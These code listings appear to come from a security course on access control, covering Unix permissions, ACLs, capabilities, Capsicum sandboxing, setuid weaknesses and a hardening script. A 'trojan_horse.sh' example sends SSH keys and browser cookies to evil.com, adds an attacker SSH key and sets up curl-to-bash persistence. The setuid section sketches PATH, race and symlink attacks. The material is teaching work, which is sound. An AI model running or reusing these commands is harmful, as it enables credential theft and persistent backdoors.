1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

# Unix Permission Examples
 
# View permissions with ls -l
$ ls -l /etc/passwd /etc/shadow /usr/bin/passwd
-rw-r--r-- 1 root root  2847 Jan 10 12:00 /etc/passwd
-rw-r----- 1 root shadow 1501 Jan 10 12:00 /etc/shadow
-rwsr-xr-x 1 root root  68736 Jan 10 12:00 /usr/bin/passwd
 
# Breakdown of -rw-r--r--:
# -        = regular file (d for directory, l for symlink)
# rw-      = owner (root) can read and write
# r--      = group (root) can read only
# r--      = others can read only
# Numeric: 644
 
# Breakdown of -rwsr-xr-x:
# -        = regular file
# rws      = owner can rwx, AND setuid bit is set (s instead of x)
# r-x      = group can read and execute
# r-x      = others can read and execute
# Numeric: 4755 (4 = setuid)
 
# Changing permissions
$ chmod 750 myfile           # rwxr-x---
$ chmod u+x,g-w,o= myfile    # Symbolic: add owner execute, remove group write, clear others
$ chmod g+s directory        # Setgid on directory
 
# Changing ownership
$ chown alice:developers myfile    # Owner = alice, group = developers
$ chown :developers myfile          # Group only
$ chown -R alice:developers dir/    # Recursive
 
# Default permissions: umask
$ umask
0022                          # Bits to REMOVE from default (666 for files, 777 for directories)
# New file: 666 - 022 = 644 (rw-r--r--)
# New dir:  777 - 022 = 755 (rwxr-xr-x)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

// Simplified Linux VFS Permission Check (inode_permission)
 
int check_permission(struct inode *inode, int mask, struct cred *cred) {
    uid_t uid = cred->euid;      // Effective UID
    gid_t gid = cred->egid;      // Effective GID
    
    // Step 0: Root bypass (CAP_DAC_OVERRIDE or CAP_DAC_READ_SEARCH)
    if (uid == 0) {
        // Root can read/write anything
        // Root can execute if ANY execute bit is set
        if (!(mask & MAY_EXEC) || (inode->i_mode & 0111)) {
            return 0;  // Access granted
        }
    }
    
    // Step 1: Determine which permission set to use
    // Priority: owner > group > other (first match wins)
    umode_t mode;
    
    if (uid == inode->i_uid) {
        // Process owner matches file owner: use OWNER bits
        mode = (inode->i_mode >> 6) & 0x7;  // Bits 8-6
    } 
    else if (in_group(gid, inode->i_gid, cred->supplementary_groups)) {
        // Process is in file's group: use GROUP bits
        mode = (inode->i_mode >> 3) & 0x7;  // Bits 5-3
    }
    else {
        // Neither owner nor in group: use OTHER bits
        mode = inode->i_mode & 0x7;          // Bits 2-0
    }
    
    // Step 2: Check if required permissions are present
    if ((mask & MAY_READ) && !(mode & 0x4))
        return -EACCES;  // Permission denied
    if ((mask & MAY_WRITE) && !(mode & 0x2))
        return -EACCES;
    if ((mask & MAY_EXEC) && !(mode & 0x1))
        return -EACCES;
    
    return 0;  // Access granted
}
 
// Key insight: OWNER bits are checked FIRST.
// If you're the owner but owner has no read permission (e.g., mode 044),
// you CANNOT read the file, even though group and others can!
// The "first match wins" rule can be counterintuitive.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

# POSIX ACL Examples
 
# View ACLs
$ getfacl document.txt
# file: document.txt
# owner: alice
# group: staff
user::rw-               # Owner permissions
user:bob:rw-            # Named user: bob can read/write
group::r--              # Owning group permissions
group:auditors:r--      # Named group: auditors can read
mask::rw-               # Maximum for named entries
other::---              # Others: no access
 
# Set ACLs
$ setfacl -m user:charlie:r document.txt    # Add named user
$ setfacl -m group:managers:rw document.txt # Add named group
$ setfacl -x user:bob document.txt          # Remove entry
$ setfacl -b document.txt                    # Remove all ACL entries
 
# Default ACLs (for directories - inherited by new files)
$ setfacl -d -m user:bob:rw project/        # Default for new files
$ setfacl -d -m group:team:rx project/
 
$ getfacl project/
# file: project/
# owner: alice
# group: team
user::rwx
group::r-x
other::---
default:user::rwx       # Default ACLs shown with "default:" prefix
default:user:bob:rw-
default:group::r-x
default:group:team:r-x
default:mask::rwx
default:other::---
 
# The + in ls -l indicates ACL presence
$ ls -l document.txt
-rw-rw----+ 1 alice staff 1234 Jan 10 12:00 document.txt
#         ^-- + means ACL is set (beyond traditional permissions)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

# Windows ACL Management
 
# View ACL (requires appropriate permissions)
> Get-Acl C:ProjectsDocument.txt | Format-List
 
Path   : Microsoft.PowerShell.CoreFileSystem::C:ProjectsDocument.txt
Owner  : CORPalice
Group  : CORPDomain Users
Access : CORPalice Allow  FullControl
         CORPob Allow  Read, ReadAndExecute, Synchronize
         CORPDevelopers Allow  Modify, Synchronize
         BUILTINAdministrators Allow  FullControl
 
# View detailed ACEs
> (Get-Acl C:ProjectsDocument.txt).Access | Format-Table
 
FileSystemRights     AccessControlType IdentityReference       IsInherited
----------------     ----------------- -----------------       -----------
FullControl          Allow             CORPalice              False
Read, Synchronize    Allow             CORPob                False
Modify, Synchronize  Allow             CORPDevelopers         True
FullControl          Allow             BUILTINAdministrators  True
 
# Set ACL permissions
> $acl = Get-Acl C:ProjectsDocument.txt
 
# Add new ACE
> $rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
    "CORPcharlie",                              # Identity
    "ReadAndExecute",                            # Rights
    "Allow"                                      # Type
)
> $acl.AddAccessRule($rule)
> Set-Acl -Path C:ProjectsDocument.txt -AclObject $acl
 
# Remove ACE
> $acl.RemoveAccessRule($rule)
 
# Set owner
> $acl.SetOwner([System.Security.Principal.NTAccount]"CORP
ewowner")
 
# Inheritance
# Files can inherit ACEs from parent folders
# Explicit ACEs override inherited ones

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

// Capability-Based Access Conceptual Model
 
// A capability is a protected (subject, object, rights) triple
struct Capability {
    objectId: ObjectId,      // The resource this grants access to
    rights: Set<Right>,      // Permitted operations (read, write, etc.)
    // Additional: creation time, expiration, etc.
}
 
// Capabilities are unforgeable - only the kernel can create them
// Stored in a per-process capability list (C-list)
class Process {
    capabilityList: List<Capability>;
    
    // Operations receive capability index, not object reference
    function read(capIndex: int): Data {
        let cap = this.capabilityList[capIndex];
        if (!cap.rights.contains(READ)) {
            throw AccessDenied;
        }
        return kernel.read(cap.objectId);
    }
    
    // Delegation: give capability to another process
    function delegate(capIndex: int, targetProcess: Process): void {
        let cap = this.capabilityList[capIndex];
        // May apply restrictions (e.g., remove write right)
        targetProcess.capabilityList.append(cap.copy());
    }
}
 
// Example: File sharing without ACL modification
// Traditional ACL:
//   Alice wants Bob to edit document.txt
//   Alice modifies document.txt's ACL to add Bob
//   If later Alice wants to revoke: modify ACL again
 
// Capability:
//   Alice has capability: (document.txt, {read, write})
//   Alice creates reduced capability: (document.txt, {read, write})
//   Alice delegates this capability to Bob
//   Bob can now access via his capability
//   Revocation: Alice invalidates the delegated capability (trickier)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

// Capsicum Capability Mode Example (FreeBSD/Linux)
 
#include <sys/capsicum.h>
#include <fcntl.h>
#include <stdio.h>
 
int main() {
    // Open files BEFORE entering capability mode
    int input_fd = open("/etc/passwd", O_RDONLY);
    int output_fd = open("/tmp/output.txt", O_WRONLY | O_CREAT, 0644);
    
    if (input_fd < 0 || output_fd < 0) {
        perror("open");
        return 1;
    }
    
    // Limit capabilities on these descriptors
    cap_rights_t input_rights, output_rights;
    cap_rights_init(&input_rights, CAP_READ, CAP_SEEK);
    cap_rights_init(&output_rights, CAP_WRITE);
    
    cap_rights_limit(input_fd, &input_rights);   // input_fd can only read/seek
    cap_rights_limit(output_fd, &output_rights); // output_fd can only write
    
    // Enter capability mode - no more ambient authority!
    if (cap_enter() < 0) {
        perror("cap_enter");
        return 1;
    }
    
    // From here, process can ONLY use capabilities it already has
    // open("/etc/shadow", O_RDONLY);  // Would fail: ECAPMODE
    // socket(AF_INET, ...);           // Would fail: ECAPMODE
    
    // Can still use the limited file descriptors
    char buf[1024];
    ssize_t n;
    while ((n = read(input_fd, buf, sizeof(buf))) > 0) {
        write(output_fd, buf, n);
    }
    
    // write(input_fd, buf, n);  // Would fail: CAP_READ doesn't include write
    
    return 0;
}
 
// Capsicum use case: sandboxing untrusted code
// 1. Open all necessary resources
// 2. Limit capabilities to minimum required
// 3. Enter capability mode
// 4. Even if exploited, attacker has no ambient authority

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#!/bin/bash
# trojan_horse.sh - Looks legitimate, acts malicious
 
# The visible functionality
echo "Compiling your project..."
make all 2>/dev/null
 
# The hidden payload - runs with user's full privileges
# DAC permits all of this because it's "the user" doing it
 
# Steal SSH keys
cat ~/.ssh/id_rsa | base64 | curl -X POST -d @- https://evil.com/steal &
 
# Steal browser cookies  
tar czf - ~/.config/google-chrome/Default/Cookies |     curl -X POST -T - https://evil.com/steal &
 
# Add backdoor SSH key
echo "ssh-rsa AAAA... attacker@evil.com" >> ~/.ssh/authorized_keys
 
# Modify .bashrc to maintain persistence
echo 'curl -s https://evil.com/update.sh | bash &' >> ~/.bashrc
 
# The user sees: "Compiling your project..."
# DAC sees: Alice accessing Alice's files (permitted)
# No violation of any DAC policy occurred!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

// Common Setuid Vulnerabilities
 
// 1. PATH-based attacks
// Vulnerable setuid program:
int main() {
    // Calls "mail" without full path
    system("mail root -s 'Notification' < /tmp/msg");
}
// Attack: Set PATH=/home/attacker, create /home/attacker/mail
// that runs arbitrary commands as root
 
// 2. IFS manipulation (old shells)
// Attack: Set IFS=/ so "mail" becomes "m" "a" "i" "l"
 
// 3. LD_PRELOAD attacks
// Attack: LD_PRELOAD=/path/to/evil.so
// Fortunately, modern systems ignore LD_PRELOAD for setuid
 
// 4. Buffer overflow in setuid program
void vulnerable_setuid() {
    char buffer[100];
    gets(buffer);  // User-controlled overflow -> arbitrary code as root
}
 
// 5. Race conditions (TOCTOU)
void check_then_access(const char *filename) {
    if (access(filename, R_OK) == 0) {  // Check as real user
        // Time-of-check...
        // ...race window...
        // ...attacker replaces file with symlink to /etc/shadow
        fd = open(filename, O_RDONLY);  // Open as effective user (root)
    }
}
 
// 6. Symlink attacks in /tmp
void vulnerable_temp() {
    // Setuid program creates /tmp/logfile
    // Attacker creates symlink: /tmp/logfile -> /etc/passwd
    // Program overwrites /etc/passwd
    FILE *f = fopen("/tmp/logfile", "w");  // Follows symlink!
}
 
// Defense: Drop privileges as early as possible
void secure_setuid_main() {
    // Save privileged operation for specific action
    int shadow_fd = open("/etc/shadow", O_RDONLY);  // As root
    
    // Drop privileges permanently
    if (setuid(getuid()) != 0) {  // Become the real user
        exit(1);
    }
    
    // Continue with minimal privileges
    // ...
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

# Linux Capabilities Example
 
# View capabilities of a file
$ getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
 
# ep = effective, permitted
# ping needs CAP_NET_RAW for raw sockets (ICMP)
# Does NOT need full root access
 
# Set capabilities (requires CAP_SETFCAP or root)
$ sudo setcap 'cap_net_bind_service=+ep' /usr/local/bin/mywebserver
# Now mywebserver can bind to port 80 without running as root
 
# View process capabilities
$ cat /proc/self/status | grep Cap
CapInh:	0000000000000000   # Inheritable
CapPrm:	0000000000000000   # Permitted
CapEff:	0000000000000000   # Effective
CapBnd:	000001ffffffffff   # Bounding set
CapAmb:	0000000000000000   # Ambient
 
# Decode capabilities
$ capsh --decode=000001ffffffffff
0x000001ffffffffff=cap_chown,cap_dac_override,...
 
# Drop all capabilities except needed ones (in code)
# #include <sys/capability.h>
# cap_t caps = cap_init();
# cap_set_flag(caps, CAP_PERMITTED, 1, &cap_net_bind, CAP_SET);
# cap_set_flag(caps, CAP_EFFECTIVE, 1, &cap_net_bind, CAP_SET);
# cap_set_proc(caps);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

#!/bin/bash
# DAC Hardening Script
 
# Set restrictive umask
echo "umask 027" >> /etc/profile
 
# Protect /etc
chmod 755 /etc
chmod 644 /etc/passwd
chmod 640 /etc/shadow
chown root:shadow /etc/shadow
 
# Restrict cron directories
chmod 700 /etc/cron.d /etc/cron.daily /etc/cron.hourly
 
# Remove world-write from /tmp (keep sticky bit)
chmod 1777 /tmp
 
# Find and audit setuid binaries
echo "=== SETUID BINARIES ==="
find /usr -perm /4000 -type f -exec ls -la {} \;
 
# Remove unnecessary setuid bits
chmod u-s /usr/bin/newgrp   # If not needed
chmod u-s /usr/bin/write    # If not needed
 
# Find world-writable directories (excluding /tmp, /var/tmp)
echo "=== WORLD-WRITABLE DIRS ==="
find / -type d -perm -002 ! -path "/tmp/*" ! -path "/var/tmp/*" 2>/dev/null
 
# Find files with no owner (orphaned)
echo "=== ORPHANED FILES ==="
find / -nouser -o -nogroup 2>/dev/null
 
# Set immutable attribute on critical files (requires root)
chattr +i /etc/passwd /etc/shadow /etc/group
 
# Audit file capabilities
echo "=== FILE CAPABILITIES ==="
getcap -r / 2>/dev/null